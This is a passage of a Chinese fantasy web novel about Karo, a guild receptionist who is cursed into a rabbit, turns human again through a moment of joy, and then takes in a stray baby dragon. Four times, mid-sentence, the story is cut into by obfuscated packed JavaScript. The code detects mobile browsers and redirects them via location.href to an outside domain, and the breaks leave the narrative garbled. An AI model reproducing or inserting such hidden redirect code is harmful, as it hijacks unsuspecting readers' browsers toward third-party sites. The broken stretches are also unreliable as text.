维托这家伙突然说要请我吃饭我还以为有什么事情求我，结果只是平常的聊天啊。 我吸了口橙汁再次强调：“先说好，请客是你自愿的行为。我可不会因为一顿晚餐就会觉得欠你人情。” 原本我挺想拒绝的，但是卢卡出去工作了，会长大叔又去酒吧听小百合小姐唱歌了，公会里只剩我这个不会做饭的家伙。能够蹭上一顿免费的晚餐，也没有必须拒绝的理由了。 “不用强调那么多遍。而且也不是什么豪华大餐，到不了欠人情的地步吧。”维托撑着下巴又打了个哈欠。 “从你邀请我吃晚饭到我快吃完这中间你已经打了二十个哈欠了。你是没有休息好吗，怎么困成这样？”难不成是终于破产了吗？如果是那样的话，稍微接济一下把书店盘下来作为第二仓库也不是不行，可能要预支三年的工资和年终奖才够…… “不是什么大事，就是在研究一个新型魔法而已。”维托揉了揉眼睛，“快吃，吃完送你回公会。” 我又不是小孩子了，哪还需要人送啊。“不要，我自己可以回去。” “你确定吗？上上次不还是差点撞上青鬼？上次不是在山洞里骨折了吗？” 这些……确实也没说错。从丹吉尔洞穴出来后，我才意识到人真的很容易就会死掉。可能是因为和强大的人们呆在一起久了，差点忘记自己只是个柔弱的文职人员了。 “好吧，那就拜托你了。”维托好歹曾经也是个强大的魔法师，虽然物理近战可能还没有我厉害，但是远程攻击还有精神防御方面都比我强太多了。 但是—— “喂，你该回去了吧。”我站在房门前迟迟没有打开房门。 维托却一脸“你在说什么”的表情：“送你回家肯定是要看你进家门才行吧。” “公会就是我的家，你都已经在我家里面了喂。” “啊，这样吗？那你的待客之道就是让客人在这里站着吗？” 反常，太反常了。从要请我吃饭开始，到送我回家，不会就是打的这个主意吧？ “好了好了，不要耽搁时间，快点让我确认完回去睡个好觉。”维托直接推开我的房门，在我还没有反应过来的时候自顾自地走进去打量。 “喂——” 他看见我的床眼神变得很是奇怪：“你天天就睡在这里吗？”用“噫——你品味好怪”的眼神看着我。 “有什么问题吗？我觉得这样的床睡起来才安心。”维托这么做肯定有他的用意，结合他先前说的话，可能和魔法之类的有关吧。 我不太懂魔法，但也知道专业的事要交给专业的人去做。 “……我觉得没人会睡在一只巨大的狗玩偶身上吧。”他仔细看了看，“你确定这种玩偶能睡人吗？” 这可是会长大叔费了好的功夫给我做好的床！下肢是床铺，上肢可以当作被子使用！虽然在卢卡学会清洁魔法前清理起来很麻烦，但是现在只要念个咒语就又可以睡了！ 维托用“这家伙真可怜”的眼神看着我：“你这样脊椎总有一天会坏掉的吧。” “少管我啦，比起这个，你有发现什么？” “嗯？啊、啊，是有发现没错。这个——”他捏起我放置在桌上的鳞片，那还是绿蛇死掉后化成的，“就是你身上有诅咒的原因吧。” “哈？诅咒？” “前段时间你来我店里买书的时候我就觉得不对劲，回去翻了翻资料果然——”他举起鳞片对着月光，鳞片变得更加清亮，“这是传说中乌提亚的鳞片吧。” 乌提亚，命运神女曾经饲养过的小宠物蛇，在他意外伤人后就被遗弃了。 “大概吧——”乌提亚是通体透黑的巨蛇，和那只绿色像毛毛虫一样的家伙没什么联系。 “原本黑色的鳞片变成绿色大概是因为沾染上诅咒了，而你又天天睡在旁边，肯定也有一部分诅咒蔓延到你身上了。” 我倒是没什么感觉，除了最近工作格外疲劳，眼皮格外沉重好像没什么影响。 “就是那个啊——疲劳和眼皮沉重都是因为诅咒啊！”维托叹气，“诅咒是我不太擅长的领域，不过原因我已经了解清楚了。” “因为你这家伙几乎没有情感外露，所以这个鳞片只能吸取你的精力以代补偿了吧。换句话说，诅咒是关于吸取情感的。” 哈——所以和青鬼的面具一样，总是会杀个回马枪是吗？我明明在回到公会后就没有再摸过了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14456793|152832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “总之，趁早解决问题比较好对吧？”维托不知道从哪里摸出了他那将近两米高的魔杖，“我待会给你施加一个清除诅咒的魔法，可能要花点时间，你老实呆着。” “知道了——”我干脆盘腿坐在地上。不坐在床上是因为我的小小坚持——没有洗澡换睡衣怎么可以直接沾到干净的床。 维托念起一串我听不太懂的咒语，那些单词在念出声后发亮，飘到了我的身边。屋内明明没有风，但维托的斗篷和头发都在飞舞。 可能这就是魔法师吧，就算使用的不是风系魔法也可以让发丝和衣服无风自起。 似乎终于要把那一长串咒语念完了，维托伸出魔杖指向我的方位，在空中虚点。 下个瞬间，天旋地转，内心却变得更加充盈温暖，让我忍不住抖了抖毛—— 诶？ 抖毛？ 我低头看了看散落的衣物，又抬头和震惊表情的维托对视。 “等下，等等，不应该啊？”他少见地紧张了起来，“卡萝，你……你还是卡萝吧？” “不然呢？”万幸，我还能张口说人话，“虽然这副样子我很喜欢，但是还是人类的身体更方便。”潜台词就是，能不能快点把我变回去。 他蹲下来，用手小心翼翼地把我捧起来：“其实我一直想养只兔子来着……噗！” 我抬腿踹了他的脑袋一脚，试图让这家伙脑袋清醒一点：“别管兔子不兔子了，快想办法让我变回去。” “别着急嘛，虽然变成了兔子，但是你看，你身上的诅咒没有了啊！”他摸出那枚鳞片，已经褪下绿色，露出原本的黑鳞了。 “那还真是多谢了。”比起诅咒，我还是更想要人类的身体。 “呃……你看，有个好消息，今天是周五。明天不用上班！” 维托提起这件事反而令我不耐烦地跺跺脚掌：“所以我美好的周末就这样消失了。” “不不不，凡事都要往好处想。你看，在周末遇到这种不幸，反而是工作日不会缺勤的幸运不是吗？” “好了，停止这个话题。”越说越心酸，“还是先想想办法让我变回去吧。” 维托向我保证：“你放心，我家地下室的藏书绝对有解决办法。” “那就拜托你了，大魔法师。” 指挥维托把公会的大门锁上，我跳上十几层的台阶回到自己的房间。没有办法自己洗澡，接受不了脏兮兮地躺上床，我只能窝在椅子的坐垫上睡觉。 第二天醒来，看见的就是卢卡蹲在椅子边。 “卡萝。”卢卡见我醒过来就伸手想要摸摸我的爪子，“维托、闯祸、听说。” “没错，都是维托的错。”我没让他摸爪子，顺着卢卡的手臂蹲在他的肩膀上，“所以我们去讹他一顿早饭吧。” “早饭、楼下。”卢卡单手扶着我的背部，似乎担心我掉下去。 我耸了耸鼻子，确实闻到了楼下传来的香味，改口：“那就蹭午饭吧。” 22. 工作法则二十二 “嗯、嗯嗯，我已经完全掌握了。” 和卢卡刚踏进维托的家，准确来说是我蹲在卢卡的肩上和他一起进入书店后门，就听见维托在一地狼藉（主要是书）的地板上举着书大喊。 “你明白了什么？”我从卢卡的肩上跳下，铺了一地的书本正好能够让我安稳落地。 维托亮给我看：“这就是原因啦，因为乌提亚之前跟着神女学到了不少小术法，所以他浑身上下都会带点诅咒类性质的魔法。只要试图解除上面的诅咒就会遭到反弹，似乎是为了防止被人觊觎——毕竟神女的宠物嘛，听起来就全身都是宝贝。” “所以呢？”我把爪子按在书上，让维托看着我现在这幅模样说话，“这和我变成这样有什么关系？” 维托挪走我的爪子，指着书上的那行字：“这里这里，中术者会回归本源体会喜怒哀三种情绪。是精灵一族脱离族群融入人类社会必须要经历的考验，叫做‘伊摩森的考核’。” “但我不是精灵。”我又把爪子搭了上去，“我之前可是货真价实的人类。” “这个嘛，伊摩森的考核本来也不是限定精灵族的，这种魔法对任何生物，就算是路边的野花都可以使用。不过对卡萝你来说确实有点难办呢。”维托把书往后一扔，叹气道，“毕竟你本来情绪起伏就不大，想要过这个考核大概会很困难吧。” 我总算是知道地上为什么会有那么多书了，“不需要通过考核，只要能变回去就好。”虽然刚刚只是扫了一眼书本的内容，但书上也没提到伊摩森的考核会强制精灵变成花花草草小动物什么的。 “这就是问题所在啊。”维托撑着下巴，“之前的案例没有提到过会有人类变成动物的先例，所以我只能推测卡萝你原本就是只兔子了。” 我跳起来用脑袋攻击了他的脑门：“卡萝可不是兔子。” 卢卡接住了因为用力过度差点摔在地上的我，我爬上他的头顶对维托进行俯视：“不管怎样，至少要在周一前把我恢复原状。” 前段时间卢卡出去完成的任务我还得赶紧结算下报酬，加上那笔钱公会就可以好好整修一番了，我还想出去度假呢。 “嗯……其实不难，只要卡萝你笑一下应该就可以完成了。”维托揉揉脑门直起身子，“因为喜悦是对精灵来说最简单、最容易获得的情绪，所以在度过这层考验后他们就会化为人形走进社会去体验剩下的两关了。” 精灵不乏高冷的，但希望融入社会愿意接受“伊摩森的考核”的，也只有天生好奇心旺盛或是原本就对人类的亲和度高的那类。他们似乎天生爱笑，基本上十分钟内就能通过考核了。 问题是—— “你觉得兔子会笑吗？”这家伙有好好翻过自家书店书架上的《动物百科全解》吗？兔子可没有灵长类动物那样的面部肌肉啊。 “不不不，就算是卢卡，也是知道那种常识的。”维托摆摆手，“我的意思是，发自真心的喜悦。虽然你有的时候吐槽很犀利，工作的时候态度也很好，但这都改变不了你硬邦邦的语气和毫无波动的内心吧。” 首先，我觉得卢卡不知道那种常识，他现在迷茫的双眼就是最好的证据；其次，我觉得我的心理活动蛮丰富的，丰富到可以写成一本小说也说不定。 “不管怎么样，只要你真的有一丝喜悦的情绪，那就可以变回去了。”维托作出了总结，他掸了掸袍子，这是要赶我们走的动作。 这家伙看样子是不打算给我们蹭饭的机会。 “既然这样，我有一个如果维托你答应了就会开心的愿望。”我跳到他的脑袋上，用爪子拍了拍，“请我们吃午饭吧，不是热狗果汁的那种。” 维托直接把我从脑袋上扒下来，放到了卢卡怀里：“你只是想蹭饭吧？” “是这样没错。”我诚实地应了，“但是不试试怎么知道我到底能不能变回去呢？” 似乎是被我说服了，维托掏出了他的钱袋挂在我的脖子上：“拿去买自己想吃的吧。” 钱袋子一点也不沉，感觉不像是经常使用的。这家伙不会真的破产了吧…… “维托。”我安慰他，“没关系的，人都有一时的失误。虽然你破产了，但你还有我们。会长大叔不会介意你来当第三个冤大头、咳、我是说蹭饭的。” 脑门被弹了一下，维托指了指天花板：“看到上面的纹路了吗？凤凰木。你们就别一天天操心别人了，先想想什么时候让欧文哥把你们那个破烂的屋顶修一修吧。” “切，下周就准备修了。”我跳上卢卡的脑袋，这样可以远离维托的攻击。而且凤凰木这种东西我以前也是见过的，哼，又不是什么稀奇的东西。 指挥着卢卡买了三分烤鸡——维托的钱袋子不沉但是装的东西意外的多，我们回到公会和会长大叔一起享用完了这顿饭。 会长大叔在早饭时就了解了事情经过，现在啃着鸡腿含糊不清地对我说：“这样的话，下午带你去买条小狗好了。” “嗯？”我的耳朵竖了起来，“真的假的？” “真的啊。”大叔咽下食物，“你小时候经常盯着各种狗看，有一次捡到小狗打算养的时候笑得可开心了。” 咦？真的假的？我还有过那么天真无邪的时候吗？ “只不过后来小狗原本的主人找了过来，你只拥有了那只小狗三个小时。”大叔擦了擦嘴，“原本我还想着等以后有钱了再买只狗的，但是卢卡被你捡了回来……总之，那段时间你都没提过要养狗狗的事情了。” 啊……可能是小时候的卢卡，尤其是头发还没剪短的时候毛绒绒的，很像隔壁家那只金毛。 “先前没提到过这件事是因为手头紧，但是最近大叔手里又有钱了，养只狗狗还是没有问题的。” 大叔……大叔！你现在在我眼里发着圣洁的光辉啊！ “所以，下午我们一起去挑选新的家庭成员吧！”大叔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14468279|152832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一挥手一拍桌就下了决定，“先说好，买回来的狗狗要卡萝你自己养。不能使唤卢卡去帮忙。” “我才不会呢。”我现在已经是卡·有狗（预备）·萝了，卡萝会做的事我才不会做。 大叔摸着下巴等待了一会儿，又摇了摇头：“但是看你好像也没变回来的样子，果然是买狗也激不起兴趣了吗？大叔我就知道，人一长大就会失去初心……” “才没有。”我反驳，“如果内心可以具象化，那我都已经有两个感叹号了。” “那你完全没有恢复的迹象啊……” “可能是因为潜意识里不相信大叔的口头承诺，只相信真的付钱买下狗狗的那一刻吧。”我回忆起以前大叔画的饼，什么八年成为最强分会啦，什么三年成为金牌接待员啦，还有十年成为第二总部啦……到最后只有三年成为金牌接待员是我自己实现的，其他两个……完全失败。 会长大叔可能也回想起来自己以前提过的，没有成真的饼，心虚地埋下头又啃了个鸡腿。 “大叔。” “嗯？嗯？” “你吃的是卢卡的……算了，卢卡吃我的吧。”还是高估自己了，这个体型，我吃下一根鸡腿就已经很饱了。 原本我是打算我吃两根鸡腿，剩下的部分靠会长大叔和卢卡解决的，结果一根就让我撑到摊在桌子上动不了。 午饭时间过后，我缓了好久才能挪到卢卡的肩膀上趴好。 “不行就明天再去吧？”会长大叔对我现在这种蔫蔫的状态很不放心，用食指揉着我的脑袋，“卡萝？” “今天就去吧。”只是吃撑了而已。 会长大叔无奈地笑笑：“卡萝你真的很喜欢狗狗呢。” 虽然也有这部分的原因，但是我更担心万一买狗狗也不能让我恢复，那还有什么事才能让我真正地高兴呢？如果拖到明天也找不到更好的办法，拖到周一，拖到下个月……我永远也没有办法恢复该怎么办呢？ 做一只兔子并没有什么不好，可我不是一只兔子。我是卡萝。是沃尔德小镇冒险者公会分会的金牌接待员。我不能只是一只兔子。 兔子没有办法抬起腿就跨过台阶，也没办法在接待冒险者的同时处理其他业务，更没有办法在卢卡和会长大叔不在的时候给公会锁门。 “变不回来也没关系。”会长大叔像是听见了我的心声，“反正大叔我也能做好接待员的工作，而且会说话的兔子说不定能引起不少冒险者的兴趣来这里瞧瞧呢。到时候，卡萝可以只负责接待，其他工作都交给大叔我就好。” 见我没应声，大叔继续安慰：“你看，兔子也有兔子的好处嘛，吃得少，体型还小，而且皮毛也足够保暖……” 喂，你这是安慰嘛。 我用脑袋撞走了大叔的手指，扭过头不想理他：“卢卡，出发。” 感觉再不变回去，我房间里的东西还有衣服都要进入二手市场被卖掉了。 23. 工作法则二十三 沃尔德镇唯一一家宠物店坐落在临近小镇入口处，那里正和森林接壤。 “哦，欧文啊，今天怎么想起来到我们店里逛？”宠物店的老板是个慈眉善目的婆婆，她和会长大叔都是小百合小姐的忠实听众。 会长大叔不好意思地说：“这不是卡萝一直都想养只狗狗嘛，最近正好收到了先前的报酬，所以过来挑一只。” 婆婆从摇椅上站了起来：“卡萝有喜欢的品种吗？我这里不光是普通的动物，如果想养‘黑尾兔’那样的魔物也是可以尽情挑选的。” 站起来的婆婆似乎发现了卢卡肩上的我：“哎呀，已经养了一只小兔子了吗？” “不不，您误会了。这只兔子只是暂时停留在公会一小段时间。”会长大叔掏出手帕擦擦脑门上的汗，“狗狗的话我们自己慢慢挑选就好。” 婆婆又缓缓坐了下去：“也是呢，毕竟养宠物也是要讲究缘分的。狗狗都在最里面的笼子里，如果有合眼缘的孩子可以简单互动。” 穿过唱着歌的鸟儿和舔着爪子的猫咪们，各个品种的狗狗看见有人来纷纷摇着尾巴扒拉着门。 宠物店的笼子并没有选择普通的玻璃或者铁，而是使用了魔法阵给动物们分割出一小块区域，既不会让它们直接跑出来，又可以充分地活动身体。 “怎么样，卡萝？有喜欢的吗？”会长大叔压低了声音问我。 毕竟变成兔子这件事也不好告诉别人，至少短时间的情况下不需要告知镇上的大家。除了让他们担心外，没有其他意义。 我伸出爪子和一只疯狂摇着尾巴汪汪叫的小狗互动。小狗变得更加兴奋，不断地扒拉着透明但牢固的魔法阵。 “如果一定要选的话，我喜欢这只。”我收回爪子肯定道，“虽然不是名贵的品种，但是看起来很可爱。” 会长大叔追问：“确定吗？不是担心钱不够用所以才挑的这只吧？虽然勉强也能算是金色，但我觉得更偏棕黄色，真的不买只金毛吗？” 唔……大叔确实想太多了。我其实对狗狗的品种、毛色并不挑剔，只要足够亲近我就好了。 “就这只。”我坚定地跳到了大叔的肩上，“所有狗狗里面，只有这孩子在看到我的时候最激动。” “确定吗？不反悔哦？”大叔再三确认我的意愿。 “确定——”在我回答后的下一秒，店外传来骚动声。 我们没有犹豫，冲了出去查看情况。 “怎么回事？”会长大叔询问了身边的人。 “是魔物！森林外面有魔物群在接近镇子。”镇民抄起铁铲，“我们正准备去清剿。” “卢卡，你去看看。”会长大叔严肃神情，“其他人暂时不要轻举妄动以免不必要的伤亡。” 有了大叔做主心骨，原本不安的镇民们迅速冷静了下来，他们有条不紊地开始为防御可能到来的魔物群做准备。 我跳到了卢卡的脑袋上，和他一起出了镇子查看状况。 “是烈焰猪。”站得高确实望得远，远处奔来的烈焰般的身影显然就是造成这次骚乱的原因。 “目测大约有……一百多只。”奇怪，这附近不应该会有那么多烈焰猪才对。那明明是更喜爱干燥、高温的沙漠聚居型魔物，怎么会来到森林？ 背后的原因暂且不明，但不管怎样，一百多只烈焰猪对于卢卡来说并不算难事。 “不用全部消灭。”我开口，“最好留下一两只追踪下它们从哪里来。” “好。”卢卡拔出银剑，凝神聚气将魔法附着在剑身。 水色的魔纹很快从剑柄蔓延至整个剑身，流水包裹着银剑，随着卢卡轻轻一挥涌向了魔物群。 “嗷——”烈焰猪那跳动着火苗的尾巴被水流浇灭，它们害怕地四散而去。 卢卡左脚蹬地，下一秒便跳入魔物群，挥刀收走了这群魔物的生命。 “两只。”他用流水化作绳子，绑了两只烈焰猪。 我指挥着卢卡把追踪型的魔法道具安放在魔物身上，然后回到了镇上。 “怎么样？”会长大叔见我们回来，把卢卡拉到一边，看着是在问卢卡状况，实际上是在听我描述情况。 “……刚刚查看了那两只烈焰猪的行踪，它们跑得很远。这种魔物也有固定时间迁徙的习惯，会在沙漠和高原两地往返，有可能是在这个过程中偏离了原本的位置，来到了附近。”根据追踪道具显示的路线来看，它们跑走的方向原本确实有个高原。大概是正好到了从高原返回沙漠的时间，却走错了方向，误闯了森林。 会长大叔听完也没有放松警惕：“不论如何，我们还是得小心行事。不能完全排除是人为的可能性。” 我也是这么想的。 因为烈焰猪的尸体还需要处理，另外小镇是否该进入防御状态也需要会长大叔和其他镇民们商讨，他就先让我们回到公会了。 走进公会，我抖了抖身上的毛叹气：“唉，希望只是个意外。” 沃尔德镇并没有什么值得特意针对的地方，既不是交通要道，也没有稀缺的矿石材料。除了普普通通生活在这里的镇民们，不值得引来一群魔物袭击。 更何况这群魔物也并不强大，似乎只是被派过来骚扰一下镇上的大家。 卢卡进厨房准备晚饭的时候，我蹲坐在餐桌上监视着放走的两只魔物的行动轨迹。试图还原它们的情况。 “穿过了森林后直接往东走越过了高原，接着往北……那应该是黄金之城的方向吧？”但黄金之城也不是适宜烈焰猪栖息的地方。 “似乎停在了黄金城的位置。”我用爪子揉了揉脸，“我记得从那里走再北一点有个沙漠。” 复盘到这里稍微放下心了，看来是意外的概率会更高一点。至于停留在黄金城的烈焰猪，大概是被门口的守卫们拦下了吧。毕竟身上带着追踪道具，很可能会触发那里的检测法阵。 “卡萝。”卢卡端着一盘胡萝卜推给了我，“晚饭。” 咦？今天的晚饭为什么突然变得那么简陋？ 以前可是主食、蔬菜、鱼肉，三个里面至少会同时出现两个的搭配。今天怎么只有简简单单的蔬菜，甚至只有胡萝卜这一种。 看到卢卡盘子里也是胡萝卜我心里稍微平衡了点，至少没有厚此薄彼。但这也很奇怪！ “卢卡。”我跳到他的面前，“不开心？” 说起来，今天他确实没怎么说话。虽然平常也不爱说话，但那主要受限于贫瘠的词汇量和可怜的表达能力。就算不能准确表达自己的意见，也会在家庭会议还有午餐聊天时间喊喊我或者大叔体现下参与感。 可今天在早饭后只说了四句话！这明显不对劲。 卢卡没有回答，只是那起一根胡萝卜递到我的嘴边。 出现了！逃避问题！ 小时候的卢卡在我心血来潮抽查教学成果的时候就会塞点零食什么的给我，让我忙着吃东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14483403|152832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有空提问。不过他这样的态度反而让我确信了一件事——他确实不高兴。 “禁止逃避。”我用爪子按下胡萝卜，“为什么不开心？” “没有。”卢卡摇摇头，还是不愿意说实话。 换个人我可能不会再追问了，但是卢卡的状态显然不对。他看上去就像是雨天被抛弃的小狗……等等……不会吧…… “因为打算养狗所以不开心？”我试探地说出猜测，果然，他动摇了。 卢卡别过脑袋，但是依然坚持着喂胡萝卜给我吃。看来是真的不想继续话题。 这时候，一个善解人意的姐姐就应该巧妙地转移话题，然后其乐融融地分享晚饭——但我既不是善解人意的角色设定，也不是姐姐的位置。 硬要说的话，我觉得我和卢卡的关系像是种花人和仙人掌。没怎么仔细照料过仙人掌的种花人和仍然坚强着长大了的仙人掌。 我顺着他的意思，啃起来胡萝卜。这当然不是妥协。 听见我进食的声音，卢卡又把脑袋转了回来，撑着下巴看我吃饭。 胡萝卜味道不错，但我更想吃点别的。 在他僵硬的身体逐渐放松时，我出其不意地开口：“为什么不想养狗呢？” 确实是疏忽，午餐的时候我和会长大叔讨论得热火朝天，没有问过卢卡的意见。可能是因为这一点，他觉得自己被忽视所以不满吧。 “没有问过你的想法所以擅自做出决定确实是我和大叔不对。”我诚恳道歉，“但是如果你不愿意，也可以随时提出拒绝这个提案呀？” 是我和大叔没给他提出拒绝的空间吗？还是说这孩子不好意思说呢？可是以前的会议有不同意见的时候他也会坑坑巴巴地表达想法啊…… “因为、卡萝、想要。”憋了半天不愿意说话的家伙终于开口了，“而且、不买、困扰。” “但是那也只是一种猜测，并不代表真的能变回去。”我大概能明白卢卡的想法了。首先，我想养狗狗。其次，养狗狗有很大的可能让我恢复。基于以上两点，他不好拒绝。 “有、可能、不能、放弃。” 我直立起身体：“不对，不管出于什么原因，卢卡你不愿意这一点就足够我们放弃养狗了。你也是家庭成员，我们有必要考虑到你的想法。而且不能在公会养狗并不代表没有其他的办法，我完全可以在后山，或者其他什么地方养只狗狗。” “不要。”卢卡说出口的时候自己似乎也被吓了一跳，但他还是断断续续地表达着自己的想法，“不要、养狗、卡萝。” “狗狗、花费、时间、很长。要买、食物、花钱。清理、麻烦。”卢卡慢慢地说出理由，“卡萝、没空、理我。” 确实很有卢卡风格的想法，前面的理由暂且不提：“为什么会觉得养狗狗会让我没时间理你？”我觉得平常交流的时间也没有很长啊，毕竟我们两个一个要上班，一个要出任务。 他抿唇：“以前、捡了、狗狗、没空。送走、有空。” “说的是之前那只走丢的狗狗？”可我只和狗狗玩了三个小时啊？ “卡萝、不要、养狗。”卢卡用狗狗眼看着我，“我、可以、当狗。” 嗯？这是不是有哪里不对啊？ 但比起我出声反驳，最先涌上心头的是一股轻盈的、柔和的感受。像被狗狗摇晃的尾巴轻轻地挠了一下。 我不自觉地笑了出来，第一次发自内心地感受到喜悦。 24. 工作法则二十四 试问，当你从兔子突然变成人会有什么样的感受？ 我想大部分人都没有过这样的体验吧。我非常幸运地经历了人变兔子-兔子变人这一过程。 感想就是—— 兔子的毛果然不能直接化成衣服啊。 有这样的感叹当然也是拜乌提亚的诅咒……不，应该是怪伊摩森的考核？不管怎样，反正都是他们的错。 就在我真心实意感到高兴的下一秒，眩晕袭击了我的大脑，我的骨骼发出“咔吧咔吧”的声响，四肢变长——变成人形了。 但就像我感叹的那样，兔子的毛并不能当成衣服。换句话说，我现在身上一件衣服都没有。 好在卢卡做饭时为了避免披风扫到油污将其挂在了椅背上，我翻个身就能把披风套在身上。 这种时候，我又庆幸没有教卢卡明白性别意识，话说，这种事情也是需要我教学的吗？总之，这孩子的眼神仍然清澈得像个笨蛋真是太好了。社会的糟糕和恶劣的大人完全没有让这双碧绿得如同我最爱吃的那片青草地的眼睛染上阴霾。 我晃了晃脖子，活动筋骨——一切正常。 “我先回去换衣服，如果大叔回来了记得告诉他我变回来了。”虽然有很多事情想说，但当务之急还是找件衣服穿——披风还是太单薄了，感觉坐在桌子上都凉凉的。 说是换衣服，其实我还顺便洗了个澡。昨天没能洗上澡让我总感觉别扭。 等我换了一套衣服下来，卢卡已经用胡萝卜重新做了晚饭。香料、胡萝卜、土豆、肉块放在一起的大乱炖。就着米饭会很美味的。 看来他的心情又变好了，脑袋上的两撮呆毛都重新翘起来了。 我听见了屋外淅淅沥沥的雨声，没想到这个月还会下雨。 大叔还没回来，我担心雨下大，就打着伞出门接他。 镇民们商讨大事一般都选择在酒吧，推开那扇门进去，气氛到没有很严肃……不如说，放松过头了。 几个大叔手拉手肩搭肩地举着酒杯唱着歌，而几位平日看起来很靠谱的大婶此刻正在唠家常。 说好的商讨呢……在我愣神的时候，酒吧老板吆喝我进门：“卡萝来啦，今天有好喝的果汁要不要来一杯？” 想喝。 我把伞收好，坐到吧台前，趁老板低头准备果汁时问：“怎么没看见会长？” “欧文啊，他在里面呢。”老板给我指了酒吧靠里的位置，“一开始大家都还在讨论严肃话题呢，中间维托进来说了几句话就变成这样了。” 顺着手指的方向，我看见会长大叔像水一样滩在桌子上，嘴里一边念叨着：“再来一杯！”一边高举起酒杯。 哈……我摇摇头，将老板递来的果汁一饮而尽，然后走过去扛起大叔。 雨天让道路格外泥泞，在雨下个不停还要打着伞扛人的情况下，我还算顺利地把大叔带回了公会。 “卢卡。”我朝厨房喊了一声，毛绒绒的金色脑袋立刻探出头来。 “你把会长大叔挪回房间里吧。”我拍了拍身上的雨水，晃了一下雨伞抖落上面的雨滴，“我再稍微出去一下。” 对于维托说了什么我有一点点好奇，另外也得跟他说一声我已经变回来的事情才行。 但我刚迈出大门，就看见公会旁边多出了一个纸箱，先前明明没有的。 “呜嘤——”纸箱里传来呜咽声。 我凑过去查看，原来是只幼年的小龙。墨蓝色的鳞片此刻黯淡无光，小小的身体蜷缩着瑟瑟发抖着。 看来其他的行程安排要往后顺延了。我单手抱起纸箱，将小龙带回了公会。 “卡萝？”卢卡不明白我怎么突然又回来，手上给大叔用来擦脸的毛巾直接被甩到醉醺醺的大叔脸上。 三步并两步过来，估计是担心我有其他事要让他做。 “看，小龙。”我把箱子里的生物展示给他看，“刚刚在公会门口捡的。” 他的表情变化很是明显，惊讶、疑惑、迷茫，最后化为抿唇的不开心。 “小龙大概是养不了的吧，毕竟这种生物最喜欢的就是金钱财宝。而且成长期的体型会膨胀得很厉害，公会里塞不下的。”我还是更喜欢狗狗多一点。 卢卡的心情又由阴转晴了，表情太好懂了这家伙。 醉醺醺的大叔没有决定权，我当即拍板收留这个小龙——暂时的。这个体型大小应该处于褪鳞期，就像人类的幼崽有换牙期一样。 龙鳞很值钱的。如果撞大运的话，还能赶上这只小龙的换角期。龙角可是拍卖热门。不过近年来市面上也不缺这些材料，如果真的决定卖掉可能价格不会有以前那么高了。 如果不是没有足够的场地和金钱，一直养着龙肯定能够发家致富的。 “嘤——”我拽了一条狮子毛巾给小龙擦干了身上的水，它哼唧着睁开眼睛。 不知道龙是不是也有雏鸟情结，总之在它看见我之后，非常迅速且自然地黏上了我。还没有变长的尾巴圈着我的手腕，脸颊一直蹭着我的手心，不断地“嘤嘤”叫着。 相比我的待遇，同样在一旁的，作为它睁眼看到的第二个人的卢卡就被冷落很多。他刚想伸手摸摸龙尾就被不耐烦地拍开。 卢卡一脸失落地去把大叔扛回房间了。 “嗯——叫你什么名字好呢？”我撑着下巴，看这只小龙扒拉着我的另一只手玩，“你一直嘤嘤叫，就叫你嘤嘤好了。” 不愧是我，起了个好名字，非常贴切。卢卡刚被我捡回来的时候我提了好几个建议都被大叔否决了，哼，现在大叔不在，唯一的起名权就到我手里了。 小家伙的精神状态看起来不错，就是不知道它为什么会出现在公会门边。 “总之还是得去见一下维托。”我把小龙放进纸箱抱了起来，“卢卡——” 听见我的声音，卢卡拎着伞走了下来。 他还没靠近两步就被嘤嘤凶了：“呜噜噜——”小龙从喉咙里压出声音，很像是隔壁家大婶养的金毛看见陌生人时的表现。 啊，卢卡的表情超级失落，感觉头顶的呆毛都耷拉了下来，金灿灿的头发也没有光泽了。 我用手捏住嘤嘤的嘴，教育它：“不可以凶卢卡。”它挣了两下，没挣脱，很快就老实了。 “好了，走吧。”我招呼着卢卡跟上，“我没有养过龙，得去问下维托有没有相关的书可以参考。” 出了公会的大门，纸箱里的小龙就有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492078|152832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 